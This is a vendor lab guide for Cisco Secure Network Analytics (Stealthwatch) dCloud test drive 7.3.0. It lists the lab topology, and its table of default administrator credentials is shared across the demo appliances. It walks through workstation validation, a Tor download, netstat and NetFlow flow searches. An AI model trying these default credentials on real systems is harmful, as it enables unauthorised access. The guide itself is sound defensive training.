# Cisco Secure Network Analytics Customer Test Drive 7.3.0





Last Updated: 22-May-2021

## About this lab

This guide for the preconfigured demonstration includes: About this lab

#### Requirements

About this solution

- Lab 0. Validate Wkst1
- Lab 1. Remote access breach using stolen credentials
- Lab 2. Monitor trusted third-party and VPN access
- Lab 3. Analyze historical traffic to identify threats from suspect countries
- Lab 4. Data hoarding
- Lab 5. Use data exfiltration to track inside and outside hosts
- Lab 6. Detect internal Telnet traffic
- Lab 7. Detect suspicious SMB traffic
- Lab 8. Network segmentation violations
- Lab 9. Detect traffic to rogue DNS servers
- Lab 10. Use ETA for compliance and malware detection
- Lab 11. Public cloud monitoring and threat protection

Appendix A. Integrate Splunk using the Secure Network Analytics App

Appendix B. About NetFlow & IPFIX

What's next?

## Requirements

The table below outlines the requirements for this preconfigured demonstration.

| Required   | Optional                            |
|--|-------------------------------------|
| Laptop with network capabilities   | Cisco AnyConnect <sup>®</sup>       |
| A Cisco.com account. Register <u>here</u> if you do not already have an account. | Second device for reading lab notes |
|  |                                     |

## About this solution

Welcome to the Cisco Secure Network Analytics Customer Test Drive 7.3.0 dCloud (Demo Cloud) Test Drive Labs! This lab will show in realtime traffic how Cisco Secure Network Analytics (formerly named Stealthwatch) is the leader in the Network Detection and Response (NDR) Gartner quadrant and can transform the network into a sensor to detect insider threats and identify anomalous behavior such as malware, distributed botnets, data exfiltration, and more. You get hands-on access to a fully configured environment with traffic that you generate to test first-hand *live* use cases including:

- Breach Detection
- Insider and Advanced Threat Detection
- High Risk Application Detection
- Policy Violations
- Encrypted Traffic Analytics
- Public Cloud Monitoring

In this lab, you play the role of an attacker generating traffic, and then you log in to Secure Network Analytics as a defender to learn how to respond to these attacks. Completing these labs will help provide experience and test plans to effectively use and operationalize Cisco Secure Analytics (Stealthwatch). Everything learned in these labs can be carried over into a production deployment.

### Disclaimer



This lab should be running for at least 1 hour before performing exercises. For best results let the lab run for at least 24 hours before starting exercises.

dCloud is a powerful lab environment for education purposes. There are often thousands of different types of labs running simultaneously. To allow for more labs to run within the dCloud datacenters, resources are shared across labs which could cause slower than normal response times during heavy usage.

Secure Network Analytics requires reserved resources of RAM and CPU in production deployments. Within these labs we do not have the RAM and CPU reserved. Please note: any slowness in queries or detection could be caused because of this so allow extra time for results.

It may take:

- Flow records 1-2 minutes after generating traffic to appear in Secure Network Analytics
- Events will appear 5-30 minutes after traffic is generated.

# About This Test Drive Lab

The Cisco Secure Network Analytics Test Drive has been built as a training platform to gain first-hand experience to understand and setup Secure Network Analytics. Students get to experience life-like cyber security attack situations in a virtualized enterprise lab environment, playing the role of an attacker and defender. Using an environment like many enterprise networks, students will learn and understand how their own environments get compromised, how security breaches get detected, and how to respond using Secure Network Analytics.

# Topology

This lab includes preconfigured users and components to illustrate scripted scenarios and features of Cisco Secure Network Analytics. Most components are fully configurable with predefined administrative user accounts. You can see the IP address and user account credentials to access a component by clicking the component icon in the Topology menu of your active session and in the scenario steps that require their use.



You will use the same topology, accounts, and IP addresses so refer to those sections during later labs as needed.

# uluih cisco



## Accounts and Passwords for this dCloud Lab

| Username             | Password   | Endpoint Devices                  | IP Address                            |
|----------------------|------------|-----------------------------------|---------------------------------------|
| wkst1\Administrator  | C1sco12345 | Workstation1                      | 198.19.30.36                          |
| admin                | C1sco12345 | Management Console                | 198.19.20.136                         |
| admin                | C1sco12345 | Flow Collector                    | 198.19.20.137                         |
| admin                | C1sco12345 | Flow Sensor                       | 198.19.20.138                         |
| admin                | C1sco12345 | UDP Director                      | 198.19.20.139                         |
| admin                | C1sco12345 | Remote Workstation                | 198.18.1.36                           |
| admin                | C1sco12345 | Splunk                            | 198.19.20.140                         |
| root                 | C1sco12345 | CDS                               | 198.19.20.134                         |
| admin                | C1sco12345 | CSR                               | 198.19.10.2, 198.19.20.1, 198.19.30.1 |
| admin                | C1sco12345 | ASAv                              | 198.19.10.1, 198.18.133.100           |
| dcloud\administrator | C1sco12345 | AD1                               | 198.19.20.10                          |
| root                 | C1sco12345 | Attacker_desktop                  | 198.19.20.6                           |
| admin                | C1sco12345 | WSA                               | 198.19.20.51                          |
| admin                | C1sco12345 | ISE                               | 198.19.20.141                         |
| admin                | C1sco12345 | Endpoint Concentrator             | 198.19.20.142                         |
| swcadmin             | C1sco12345 | SWC Sensor                        | 198.19.20.143                         |
| admin                | dCloud123! | Cisco Telemetry Broker (CTB)      | 198.19.20.53                          |
| admin                | C1sco12345 | Network Forensics Appliance (NFA) | 198.19.20.135                         |

# Get started

This lab enables you to become familiar with dCloud. It walks through connecting, validating the machine you will be connecting to in the data center, and ensuring that Secure Network Analytics is up and available.

- 1. Log in, using your Cisco.com account, to <u>https://dcloud.cisco.com.</u>
- 2. Select My Hub, as shown below.
- 3. Select View for Cisco Secure Network Analytics Customer Test Drive 7.3.0 session.

| ahaha<br>cisco | dCloud    | My Hub | Catalog  | Support       | News           | Community     | Make a Request  |                 |    |               | 9+ RTF     | 0      |
|----------------|-----------|--------|----------|---------------|----------------|---------------|-----------------|-----------------|----|---------------|------------|--------|
| Sessions       | 3         |        | Sess     | ions          |                |               |                 |                 |    |               |            |        |
| Favorites      | 5         |        |          |               |                |               |                 |                 |    |               |            |        |
| Events         |           |        | Sort By  | ession Status | •              |               |                 |                 | (  | Edit Sessions | Download D | etails |
| History        |           |        | Cisco Se | ecure Netwo   | rk Analyti     | cs Customer T | est Drive 7.3.0 |                 |    |               |            |        |
| Custom (       | content   |        |          |               |                |               |                 |                 |    |               |            |        |
| Routers        |           |        | Start:   | × End 🗎 🗄     | End:<br>Save / | Edit 📝 Extend | Session ID:     | Virtual Center: | 12 |               | Vie        | w      |
| Connecti       | ion tests |        |          |               |                |               |                 |                 |    |               |            |        |

### Lab 0. Validate Wkst1

At the end of this section, you will have access to the lab environment, mapped to the resources you will need.

Let's begin.

1. Select Servers to view the servers running for this lab.

The Servers tab displays all the systems running with the lab environment.

**Note:** You can turn systems on or off, if needed, from this location.



2. To work in this lab, you will need to access **Wkst1**, which gives you access to all data center resources. Click the **Remote Desktop** link to launch a web Remote Desktop session built within dCloud.





# Validate Wkst1 - ipconfig

Wkst1 will be the remote desktop session within the datacenter you use. Let's validate the IP address of your Wkst1.

Refer to the figure below, as you follow these steps:

- 1. From the Wkst1, open cmd.exe from the desktop.
- 2. Type **ipconfig**, and then press **Enter**.
- 3. Validate the IP address of your Wkst1 is 198.19.30.36.
- 4. Make note of this IP address, because you will use it in most labs.

| Chrome     | 📾 Administrator: cmd.exe  |
|------------|---|
| Chrome     | Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation. All rights reserved.  |
|            | C:\Windows\System32; ipconfig   |
| 2-1        | Windows IP Configuration  |
| WinSCP     | Ethernet adapter 1 Sal Area Connection 2:   |
|            | Connection-specific DNS Suffix .:<br>Link-local IP 5 Address : fe80::6da3:bcc4:eaec:a2f7%16<br>Autoconfiguration IPv4 Address: 169.254.162.247<br>Subnet Mask: 255.255.0.0<br>Default Gat way   |
| PuTTY      | Ethernet adar er Npcap Loopback Adapter:  |
| <b>.</b>   | Connection-specific DNS Suffix .:<br>Link-local IPv6 Address : fe80::95e:532b:129b:659c%15<br>Autoconfiguration IPv4 Address. : 169.254.101.156<br>Subnet Mask : 255.255.0.0<br>Defau:: Gateway |
| Cisco      | Etherne adapter Local Area Connection:  |
| Stealthwat | Conjection-specific DNS Suffix .:<br>IV-4 Address: 198.19.30.36<br>Sonet Mask: 255.255.255.0<br>sfault Gateway: 198.19.30.1   |
|            | Ty nel adapter isatap.<073BCF95-D7DF-457E-9ACB-560C80D217B2>:   |
| Git Bash   | Media State Media disconnected<br>Connection-specific DNS Suffix . :  |
|            | Tunnel adapter 6T04 Adapter:  |
|            | Media State : Media disconnected<br>Connection-specific DNS Suffix .:   |
| cmd.exe    |   |

### Validate Wkst1 – Install Tor Browser

To generate traffic and validate results, you will install the Tor browser. All network traffic generated by the Wkst1 will be accounted for by NetFlow records, stored as a network audit trail and used to detect threats east and west inside the network and north and south to the Internet. Refer to screenshot shown below.

- 1. Open **Chrome** from the desktop of the Wkst1, and then open <u>https://www.torproject.org/download</u> using the bookmark in Chrome.
- 2. Click the Windows Sig to **Download Tor** install file.

**Note:** We want to download Tor as part of the lab to capture NetFlow data. If the download is slow due to class volume you will find the downloaded .exe within the "Downloads\lab content" folder on Wkst1 so you can install from there.



Install torbrowser-install.exe using all default settings. As you install, make note of the file size of the .exe download which is ~54 MB; you will search for this in an upcoming lab.



- 4. From your desktop, click Start **Tor Browser**, click **Connect** when Tor launches, and then search for "what is flexible netflow," as shown below.
  - a. Review a few articles and perform other searches to generate traffic through the Tor network.
  - b. Keep **Tor Browser** open for the next exercise.

**Note**: Everything being searched through Tor is encrypted through the browser.



### Validate Wkst1 - netstat

This lab will use the netstat (network statistics) command line tool to display incoming and outgoing network connections from Wkst1. It will also show that those connections will be accounted for through NetFlow. You are using netstat to see what connections exist to validate being able to search Secure Network Analytics for any active or historical network conversations.

Launch cmd.exe from the Desktop by right-clicking and Run as administrator, and type:

#### netstat -bn | findstr /v 127 | findstr /v exe

Note: netstat will not run unless you run cmd.exe as an administrator.

The '-n' is needed so the system does not perform name resolution. This enables you to see the Foreign IP address to which you are connecting. The '-b' will display process name. The findstr /v command will filter the results to display less information as shown below. Make note of the Foreign IP addresses being connected to. You will be able to search Secure Network Analytics for historical network conversations to and from the WKST1 IP address.

Tip: Leave the command prompt open for later use.



### Validate Wkst1 – Flow Search

The Wkst1 IP address has been validated and the connections established. You will query Secure Network Analytics to become comfortable with how NetFlow is collected. A later lab will provide a deeper understanding of NetFlow.

- 1. If not open, launch **Chrome** from the desktop of your Wkst1.
- 2. Select the SMC (WebUI) bookmark from the Appliances folder of the bookmark toolbar.
- 3. Log in with username admin and password C1sco12345

|        | 🐨 Steal                         | thWatch Management Con: 🗙                          | +   | Le |   |   |
|--------|---------------------------------|--|---|----|---|---|
|        | $\leftrightarrow$ $\rightarrow$ | C 🟠 🔺 Not secure                                   | https://198.19.20.136/lc-landing-page/                                | *  | Θ | : |
|        | · # 2                           | 📃 Appliances 📃 Splunk                              | 🎯 ISE-PIC 📒 Test Sites 🐱 Cisco Box                                    |    |   |   |
| Chreme |                                 | SMC (WebUI) SMC (Admin) SMC (Web FCNF FS G UDPD FC | UD<br>19.20.136/Ic-landing-page/<br>·//··//·<br>cisco<br>Stealthwatch |    |   | - |
|        |                                 | •  | LISER NAME * admin PASSWORD * 3 Sign In                               |    |   |   |

4. Select **Analyze** > **Flow Search** from the menu bar, as shown below.

| ← → C ☆ ▲ Not secure   198.19.20         | .136/lc-landing-page/smc.htm | l#/dashboard |        |              | \$             | 9 |
|--|------------------------------|--------------|--------|--------------|----------------|---|
| 👯 Apps 📃 Appliances 📃 Stealthwatch API   | ] Splunk 🍥 ISE 📙 Test Site   | es           |        |              |                |   |
| cisco Stealthwatch<br>Dashboards Monitor | Analyze Jobs                 | Configure    | Deploy | <b>0 0 3</b> | Desktop Client |   |
| Security Insight Dashboard   Ir          | Flow Search                  |              |        |              |                |   |
| Alarming Hosts 🛛                         | Saved Results<br>Host Search |              |        |              | - 2            |   |

The top portion of the Flow Search window will show the filter criteria. Make sure to define the filter exactly as defined below.

- 1. Select Last 8 Hours for the Time Range.
- 2. Enter the Subject host IP Address using the WKST1 IP address of 198.19.30.36, and then press Enter.
- 3. Type 443/tcp in the Port/Protocol Connection, and then press Enter for the selection to take effect). Note: that we are limiting the flow query to encrypted https or 443/tcp connections.
- 4. Within the Peer section, click **Select** under **Host Groups** and select **Outside Hosts** then click **Apply**. Outside hosts represent any IP address on the Internet.



5. Click Search to begin running the flow query of any connection in the last 8 hours between WKST1 and the Internet using https or 443/tcp, as shown below.

| $\leftrightarrow \rightarrow \circ$ | 🖰 🏠 🔺 Not Secure  | 198.19.20.136/lc-landi  | ng-page/smc.html# | /flowAnalysis/s                    | earch    |               |                  |                                       |              |  |  | ☆) ◎   🤳 🗄                                     |
|-------------------------------------|---|---|-------------------|------------------------------------|----------|---------------|------------------|---------------------------------------|--------------|--|--|--|
| cisco                               | Stealthwatch  |   | Dashboards        | Monitor                            | Analyze  | Jobs          | Configure        | Deploy                                |              |  | *  | Desktop Client                                 |
| Flow S                              | earch 💿   |   |                   |                                    |          |               |                  |                                       |              |  |  |  |
| Su<br>Conne                         | Last 8 Hours (Time<br>bject: 198.19.30.36 ×<br>ection: 443/tcp (Port / Pro<br>Peer: Outside Hosts (Ho | e Range) 2,000 (Max Rec<br>Either (Orientation)<br>tocol) × All (Flow Directi<br>st Groups) × | ion)              | Mat                                | ch exact | ]             | Restore Def      | aults Load                            | Saved Search | ∽ (st Group  | Save<br>D Sele   | Search 5                                       |
| SEARCH T                            | YPE   | TIME  | RANGE *           |                                    | SE       | ARCH NAME *   |                  |                                       | MAX REC      | Include  | Exclude  |  |
| Flow                                |   | ✓ ■ L   | ast 8 Hours 1     |                                    | 1        | Flow on 8/18/ | 2019 at 11:57 AM |                                       | 2,000        | earch  |  |  |
| Subject<br>Host IP A<br>198.19      | t<br>DDRESS<br>30.36 × 2  |   |                   | nection<br>/ PROTOCOL<br>3/tcp × 3 |          |               |                  | Peer<br>HOST IP ADDRE<br>ex. 192.168. | ss<br>10.10  | <ul> <li>Inside Hos</li> <li>Outside Hos</li> <li>Authori</li> <li>Conten</li> <li>Countri</li> <li>Custon</li> <li>Trusted</li> </ul> | ts<br>osts<br>ized Exte<br>nt Networ<br>ies<br>n Reputat<br>d Internet | rnal DNS Servers<br>ks<br>tion List<br>t Hosts |
| HOST GRO                            | UPS   |   | APPLI             | CATIONS<br>Select                  |          |               |                  | HOST GROUPS<br>Select                 |              |  |  |  |
|                                     |   |   |                   |                                    |          |               |                  | Outside Hosts                         |              |  |  |  |

Let's find the flow associated to the previous lab where you downloaded the ~54 MB Tor exe file.

- In the Total Bytes header row, type >50M to filter the results to only display flows that were greater than 50 MB of data exchanged, shown below. You may need to scroll to the right from the scroll bar at the bottom of the browser window or unzoom your browser to see the Total Bytes column.
- 2. Select the **toggle button**, shown below, to display a quick view of the flow records.

| ului<br>cisc | <mark>5</mark> Stealth                              | watch                          |                              | Dashboards    | Monitor         | Analyze     | Jobs Co                 | onfigure De | eploy       |                   | •           | ٥    | Desktop Client  |
|--------------|---|--------------------------------|------------------------------|---------------|-----------------|-------------|-------------------------|-------------|-------------|-------------------|-------------|------|-----------------|
| Flov         | w Search Res  | sults (1 of 44)                | )                            |               |                 |             |                         |             |             |                   |             |      |                 |
| E            | dit Search  | <b>ast 8 Hours</b> (Time Range | ) <b>2,000</b> (Max Records) |               |                 |             |                         |             |             | Save Search Sav   | e Results   | Sta  | rt New Search   |
|              | Subject: 19   | 98.19.30.36 Either (Or         | ientation)                   |               |                 |             |                         |             |             |                   | 100% Comple | ete  | Delete Search   |
|              | Connection: 44                                      | 13/tcp (Port / Protocol)       | All (Flow Direction)         |               |                 |             |                         |             |             |                   |             |      |                 |
|              | Peer: 0   | utside Hosts (Host Grou        | ps)                          |               |                 |             |                         |             |             |                   |             |      |                 |
| 6            |   |                                |                              |               |                 |             |                         | Mana        | age Columns | Summary Ex        | port 🗸 🏻    | More | ~               |
|              | START   | DURATION                       | SUBJECT IP A                 | SUBJECT PO    | SUBJECT HO      | SUBJECT BYT | APPLICATIO              | N TOTAL BYT |             | TION PEER IP ADDR | PEER PORT   | /P   | PEER HOST G     |
|              | 📕 Ex. 06/09/2                                       | Ex. <=50min4(                  | Ex. 10.10.10.1               | Ex. 57100/UDi | Ex. "catch All" | Ex. <=50M   | Ex. "Corpor             | ate >50M    | × Ex. 1.0   | Ex. 10.255.25     | Ex. 2055/U  | IDP  | Ex. "Catch All" |
| Þ            | Sep 2, 2019<br>4:57:46 PM<br>(3hr 16min 39s<br>ago) | 4min 49s                       | 198.19.30.36 💮               | 1772/TCP      | File Servers    | 1.31 K      | HTTPS<br>(unclassified) | 54.81 M     | TLS 1.2     | 82.195.75.101 💮   | 443/TCP     |      | Germany         |

The flow table results should resemble the screenshot shown below.

- 1. Scroll through the flows. You should see a flow between your Wkst1, **198.19.30.36**, as the subject connected to an Internet facing peer.
- 2. In the search below, the ~54 MB download was with **82.195.75.101** out of Germany over https. **Note:** The peer IP address may be different from when you downloaded your Tor executable.
- 3. Notice the **MB size** coming down from the peer to your Wkst1.
- 4. Click the **black triangle** to expand context and details of the conversation.

| • | )                        |              |                     |             |                       |              | N                 | lanage Columns  | Summary | Export ~       | Y More ∨           |         |
|---|--------------------------|--------------|---------------------|-------------|-----------------------|--------------|-------------------|-----------------|---------|----------------|--------------------|---------|
|   | DURATION                 |              | SUBJECT             |             | SUBJECT PORT/PROTOCOL | TRAFFIC S    | UMMARY            | PEER PORT/PROTO | COL     | PEER           |                    | ACTIONS |
|   |                          |              |                     |             |                       |              |                   |                 |         | 2              |                    |         |
|   | Start: Sep 2, 2019 4:57: | 46 PM        | 198.19.30.36 😁      | )           | 1772/TCP              | 1.31 KB   2  | 1.06 Kpackets     | 443/TCP         |         | 82.195.75.101  | $\odot$            | $\odot$ |
| 4 | Duration: 4minutes 49se  | conds        | View URL Data       |             |                       |              | →                 |                 |         | 101.64-26.75.1 | 95.82.in-addr.arpa |         |
|   |                          |              | wkst1.dcloud.local  | -           |                       |              |                   |                 |         |                |                    |         |
|   |                          |              |                     |             |                       | 54.81 MB   4 | 3.93 Kpackets     |                 |         |                |                    |         |
| 1 | -                        |              |                     |             |                       | <u> </u>     |                   |                 |         |                |                    |         |
|   | General                  |              |                     |             |                       |              |                   |                 |         |                |                    |         |
|   |                          |              |                     |             |                       |              |                   |                 |         |                |                    |         |
|   | View URL Data            |              |                     |             |                       |              |                   |                 |         |                |                    |         |
|   | Subject                  |              | Totals              |             |                       |              | Peer              |                 |         |                |                    |         |
|   | Packets:                 | 21.06 K      | Packets:            | 64.98 K     |                       |              | Packets:          | 43.93 K         |         |                |                    |         |
|   | Packet Rate:             | 72.86 pps    | Packet Rate:        | 224.85 pps  |                       |              | Packet Rate:      | 151.99 pps      |         |                |                    |         |
|   | Bytes:                   | 1.31 KB      | Bytes:              | 54.81 MB    |                       |              | Bytes:            | 54.81 MB        |         |                |                    |         |
|   | Byte Rate:               | 4.63 bps     | Byte Rate:          | 198.87 Kbps |                       |              | Byte Rate:        | 198.87 Kbps     |         |                |                    |         |
|   | Percent Transfer:        | 0.00%        | Subject Byte Ratio: | 0.00%       |                       |              | Percent Transfer: | 100.00%         |         |                |                    |         |
|   | Host Groups:             | File Servers | RTT:                |             |                       |              | Host Groups:      | Germany         |         |                |                    |         |
|   | Payload:                 |              | SRT:                |             |                       |              | Payload:          |                 |         |                |                    |         |

- 1. Select the **toggle button** as shown below to show a table view of the flow records.
- 2. Click the X to remove the Total Bytes filter and show all flow results.

| alialia<br>cisco | Stealthwa   | atch  | Dasł   | nboards Mor      | nitor Analyze                     | Jobs        | Configure       | Deploy        | ٩                       | 🗉 🌣 Des                   | ktop Client             |
|------------------|---|---|--|------------------|-----------------------------------|-------------|-----------------|---------------|-------------------------|---------------------------|-------------------------|
| Flow \$          | Search Result   | ts (3 of 51)  |  |                  |                                   |             |                 |               |                         |                           |                         |
| Edit S           | Search Last 8 Ho<br>Subject: 198.19.2<br>inection: 443/tcp (<br>Peer: Outside H | uurs (Time Range) 2,<br>0.36 Elther (Orientat<br>Port / Protocol) All (i<br>losts (Host Groups) | 000 (Max Records)<br>ion)<br>Flow Direction) |                  |                                   |             |                 | Save Search   | Save Result             | s Start New<br>omplete De | v Search<br>lete Search |
| 0                |   |   |  |                  |                                   |             | Man             | age Columns   | Summary                 | Export V                  | 1                       |
| ·                | SUBJECT IP A  | SUBJECT NAT   | SUBJECT PO                                   | SUBJECT HO       | SUBJECT USER                      | SUBJECT BYT | SUBJECT PAY     | SUBJECT PR    | APPLICATION             | TOTAL BYTES ~             | ENCRYPTI                |
|                  | Ex. 10.10.10.1  | Ex. 50.233.88.  | Ex. 57100/UDI                                | Ex. "catch All"  | Ex. john                          | Ex. <=50M   | Ex. "HEAD http: | Ex. chrome.ex | Ex. "Corporate          | >50M                      | Ex. 1.0                 |
| •                | 198.18.133.100<br>⊙   | 198.19.20.36  | 12457/TCP                                    | Catch All        |                                   |             |                 |               | HTTPS<br>(unclassified) | 53.6 M                    |                         |
| Þ                | 198.19.20.36 💮  | 198.18.133.100  | 12613/TCP                                    | End User Devices | NT<br>AUTHORITY\LOCA<br>L SERVICE | 1.05 K      |                 |               | HTTPS<br>(unclassified) | 53.6 M                    | TLS 1.2                 |
| Þ                | 198.19.20.36 💮  | 198.18.133.100  | 12455/TCP                                    | End User Devices | NT<br>AUTHORITY\LOCA<br>L SERVICE | 4.26 K      |                 |               | HTTPS<br>(unclassified) | 61.39 M                   | TLS 1.2                 |

#### With the filters removed:

### Select Manage Columns > Subject > check mark Subject NAT > Set

| Connection          | Subject | Peer    | General                 |                       |
|---------------------|---------|---------|-------------------------|-----------------------|
| Subject ASN         |         | 🗌 Subje | ect NAT Hostname        | Subject TrustSec Name |
| Subject ASN Assig   | Inment  | 🗌 Subje | ect NAT Port            | Subject User          |
| Subject Byte Rate   |         | 🗌 Subje | ect Orientation         |                       |
| Subject Byte Ratio  |         | 🗌 Subje | ect Packet Rate         |                       |
| 🗸 Subject Bytes     |         | 🗌 Subje | ect Packets             |                       |
| Subject File Hash   |         | 🗌 Subje | ect Parent File Hash    |                       |
| Subject FIN Packe   | ts      | 🗌 Subje | ect Parent Process Name | 2                     |
| Subject Hostname    |         | 🗌 Subje | ect Payload             |                       |
| 🔽 Subject Host Grou | ps      | 🔽 Subje | ect Port/Protocol       |                       |
| Subject Interfaces  |         | 🗌 Subje | ect Process Account     |                       |
| Subject IP Addres:  | 3       | 🗌 Subje | ect Process Name        |                       |
| Subject Location    |         | 🗌 Subje | ect RST Packets         |                       |
| Subject MAC Addr    | 835     | 🗌 Subje | ect SYN Packets         |                       |
| Subject MAC Vend    | for     | 🗌 Subje | ect SYN/ACK Packets     |                       |
| Subject NAT         |         | 🗌 Subje | ect TrustSec ID         |                       |
|                     |         |         |                         |                       |



# NAT stitching is a unique capability leveraging perimeter devices. The system works together with these perimeter devices, and can correlate internal and external IP address information as shown below:

| 0 |   |               |                    |                |               |                 | Manage Columns | Summary                 | Export >                        | More 🗸     |
|---|---|---------------|--------------------|----------------|---------------|-----------------|----------------|-------------------------|---------------------------------|------------|
|   | START   | DURATION      | SUBJECT IP A       | SUBJECT NAT    | SUBJECT PO    | SUBJECT HO      | SUBJECT BYT    | APPLICATION             | TOTAL BYTES $^{\smallsetminus}$ | ENCRYPTION |
|   | ■ Ex. 06/09/2                                       | Ex. <=50min4t | Ex. 10.10.10.1     | Ex. 50.233.88  | Ex. 57100/UD. | Ex. "catch All" | Ex. <=50M      | Ex. "Corporate          | Ex. <=50M                       | Ex. 1.0    |
| × | Sep 6, 2019<br>8:43:07 AM<br>(4min 2s ago)          | 2min 52s      | 198.19.30.36 💬     | 198.18.133.100 | 27642/TCP     | File Servers    | 2.61 K         | HTTPS<br>(unclassified) | 86.56 K                         | TLS 1.3    |
| • | Sep 6, 2019<br>8:43:09 AM<br>(4min ago)             | 1min 58s      | 198.19.30.36 💮     | 198.18.133.100 | 27647/TCP     | File Servers    | 8.56 K         | HTTPS<br>(unclassified) | 22.81 K                         | TLS 1.2    |
| • | Sep 6, 2019<br>8:37:13 AM<br>(9min 56s ago)         | 8min 46s      | 198.19.30.36 💬     | 198.18.133.100 | 27544/TCP     | File Servers    | 3.26 K         | HTTPS<br>(unclassified) | 16.36 K                         | TLS 1.3    |
| • | Sep 6, 2019<br>8:44:34 AM<br>(2min 35s ago)         | 33s           | 198.18.133.100<br> | 198.19.30.36   | 27648/TCP     | Catch All       |                | HTTPS<br>(unclassified) | 14.03 K                         |            |
| × | Sep 6, 2019<br>3:35:17 AM<br>(5hr 11min 52s<br>ago) | 1min 26s      | 198.19.30.36 ⊝     | 198.18.133.100 | 23119/TCP     | File Servers    | 2.14 K         | HTTPS<br>(unclassified) | 7.67 K                          | TLS 1.0    |
| • | Sep 6, 2019<br>8:35:42 AM<br>(11min 27s ago)        | 1min 24s      | 198.19.30.36 💮     | 198.18.133.100 | 27540/TCP     | File Servers    | 2.13 K         | HTTPS<br>(unclassified) | 7.64 K                          | TLS 1.0    |
| • | Sep 6, 2019<br>8:43:07 AM                           | 2min 52s      | 198.19.30.36 💮     | 198.18.133.100 | 27644/TCP     | File Servers    | 1.08 K         | HTTPS<br>(unclassified) | 6.63 K                          | TLS 1.3    |

- 1. Scroll down to the bottom of the flow table.
- 2. Scroll right and take notice of the list of Peer Hosts. These Peer hosts should match the Foreign Address your Workstation was connecting to in the above labs creating a complete network audit trail of network connectivity.

| 😥 Flow Search Results   Stea 🗙 📃 |                                |                        |                          |                  |                  |                    |                      |         |     |
|----------------------------------|--------------------------------|------------------------|--------------------------|------------------|------------------|--------------------|----------------------|---------|-----|
| ← → C ☆ A Not secure   #         | https://198.18.128.136/lc-land | ling-page/smc.html#/fl | pwAnalysis/results/5b1bc | id8360b20db46cc2 | 0008/5b1bdd8360b | 20db46cc20009      |                      |         | ☆ : |
| 🗰 Apps 🦲 Appliances 🔤 Cisco      | Box 誌 Cisco Jive               |                        |                          |                  |                  |                    |                      |         |     |
| Threat Tes 2.45 K                | HTTPS (unclassif 8.13          | к                      |                          |                  |                  |                    | 172.217.0.45 ⊖       | 443/TCP | -   |
| Threat Tes 2.74 K                | HTTPS (unclassif 8.03          | к                      |                          |                  |                  |                    | 172.217.0.46 💮       | 443/TCP | 1   |
| Threat Tes 2.25 K                | HTTPS (unclassif 7.86          | к -                    | -                        |                  | -                | -                  | 172.217.0.45 Θ       | 443/TCP | 1   |
| Threat Tes 2.01 K                | HTTPS (unclassif 7.62          | к -                    | -                        | -                |                  | -                  | 172.217.0.42 💮       | 443/TCP | 1   |
| Threat Tes 2 K                   | HTTPS (unclassif 6.96          | к -                    | -                        | **               |                  | -                  | 172.217.0.42 💮       | 443/TCP | 3   |
| Threat Tes 2.05 K                | HTTPS (unclassif 5.89          | к                      | -                        |                  | -                | - 🔨                | 162.247.242.21 💮     | 443/TCP | i.  |
| Threat Tes 1.19 K                | HTTPS (unclassif 5.41          | к                      | -                        |                  | -                | -                  | 172.217.0.35 💮       | 443/TCP | I.  |
| Threat Tes 1.13 K                | HTTPS (unclassif 4.98          | к                      | -                        |                  |                  | -                  | 172.217.0.46 ⊙       | 443/TCP | 1   |
| Threat Tes 54                    | HTTPS (unclassif 205           |                        |                          |                  | - 77             |                    | 23.57.39.100 \ominus | 443/TCP |     |
| Threat Tes 54                    | HTTPS (unclassif 205           |                        |                          |                  | -                |                    | 23.57.39.100 🔿       | 443/TCP | 1   |
| 50 🔻 items per page              |                                |                        |                          |                  |                  | 1 - 37 of 37 items | K < 1                | /1 > >  | я.  |

Filter the flow table by one of the Foreign IP addresses which begins with ":443" that you saw in the netstat lab.

- 1. In the Peer IP Address header row, enter an IP address you observed in your netstat lab above. The IP address may vary from what is listed in the figure below.
- 2. Select the **black triangle** on the left of one of the flows to view details, shown below. Make note of context written into a flow record.
- 3. Select the **toggle button** as shown below to show a quick view of flows.

| alialia<br>cisco | Stea                                     | lthwatch  |   | Dashboards | Monitor    | Analyze Jo | obs Configure       | Deploy        |   | Desktop Client                  |
|------------------|--|---|---|------------|------------|------------|---------------------|---------------|---|---------------------------------|
| Flow             | Search                                   | Results (2 of 5   | 51)   |            |            |            |                     |               |   |                                 |
| Edit :<br>Con    | Search<br>Subject:<br>nnection:<br>Peer: | Last 8 Hours (Time Range<br>198.19.20.36 Either (C<br>443/top (Port / Protocol)<br>Outside Hosts (Host Grou | e) 2,000 (Max Recor<br>Drientation)<br>All (Flow Direction) | ds)        |            |            |                     | Save S        | earch Save Results Sta<br>100% Complete | nrt New Search<br>Delete Search |
| 0                |  |   |   |            |            |            |                     | Manage Column | is 1 mmary Export                       | ~                               |
|                  | BJECT PR                                 | APPLICATION   | TOTAL BYTES $^{\wedge}$                                     | ENCRYPTION | ENCRYPTION | ENCRYPTION | . ENCRYPTION        | ENCRYPTION    | PEER IP ADDR PEER NAT                   | PEER PORT/P                     |
|                  | c. chrome.ex                             | Ex. "Corporate  | Ex. <=50M   | Ex. 1.0    | Ex. ECDH   | Ex. ECDSA  | Ex. AES_256_        | Ex. SHA384    | <b>38.229.72.19</b> ★ Ex. 50.233.88.    | Ex. 2055/UDP                    |
| 2)               | •  | HTTPS<br>(unclassified)   | 61.39 M   | TLS 1.2    | ECDHE      | RSA        | AES_128_GCM/1<br>28 | SHA256        | 38.229.72.19 💮                          | 443/TCP                         |
| Þ                |  | HTTPS<br>(unclassified)   | 53.6 M  |            |            |            |                     |               | 38.229.72.19 💮 🛛                        | 443/TCP                         |

## Validate Wkst1 – SMC Host Group review

Let's go through a brief review of asset grouping called Host Groups within Stealthwatch to give you a basic understanding on applying more granular threat detection and behavioral analytics.

- 1. Within the SMC, navigate to **Configure > Host Group Management**
- 2. You will see a tree structure listed. Highlight Catch All as shown below.
- 3. Select the **Edit button** as shown below.
- 4. Highlight **198.19.30.37-198.19.255.255** and hit Delete on your keyboard to remove this range from the group.
- 5. Select **Save** as show below.

| CISCO Stealthwatch dcloud - Dashba   | oards • Monitor • Analyze • Jobs •   | Configure * Deploy *   | 9 🛓 🌣 🛨   |
|--|--|--|---|
| Host Group Management  |  | Policy Management<br>Alarms<br>Host Group Management   |   |
